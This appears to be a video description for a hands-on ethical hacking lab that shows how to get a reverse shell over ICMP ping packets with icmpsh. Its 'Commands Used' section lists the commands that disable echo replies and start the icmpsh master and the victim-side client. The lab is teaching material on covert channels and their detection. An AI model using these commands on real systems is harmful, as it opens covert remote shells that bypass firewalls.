Ethical Hacking - Full Course - ICMP Tunneling Attack | Reverse Shell via Ping Packets (Hands-On Ethical Hacking Lab)

ICMP Tunneling Attack | Reverse Shell via Ping Packets (Hands-On Ethical Hacking Lab) In this video, we examine how hackers utilize the ICMP (ping) protocol to covertly transmit commands and data between systems — even when all ports are blocked. You’ll see how a full reverse shell can be established using only ICMP traffic — a stealthy and firewall-bypassing attack technique used in red teaming and penetration testing. We’ll use: 🧑‍💻 Attacker: Kali Linux (10.10.10.139) 💻 Victim: Windows 10 (10.10.10.142) ⚙️ Tool: `icmpsh` (client and server) 🎯 Goal: Get a working reverse shell over ping packets 🧩 What You’ll Learn *What is ICMP tunneling and how it works * How to use `icmpsh` to get a reverse shell * Why ICMP tunneling bypasses firewalls * How to analyze ICMP shell traffic in Wireshark ⚙️ Commands Used **sudo nano /etc/sysctl.cnf **net.ipv4.icmp_echo_ignore_all=1 **sudo ./icmpsh_m3.py 10.10.10.139 10.10.10.142 **icmpsh.exe -t 10.10.10.139 -d 10.10.10.142 Real-World Insight Attackers use ICMP tunneling for data exfiltration and covert command-and-control (C2) operations. Understanding this helps ethical hackers and defenders detect and stop these stealthy communication channels. **Ethical Use Notice** This video is for educational and authorized security testing only. Do not attempt these attacks on systems or networks you do not own or have explicit permission to test. #ICMPTunneling #ethicalhacking #cybersecurity #redteaming #reverseshell #firewallbypass #NetworkSecurity #impacket #icmpsh #EthicalHacker #PenetrationTesting
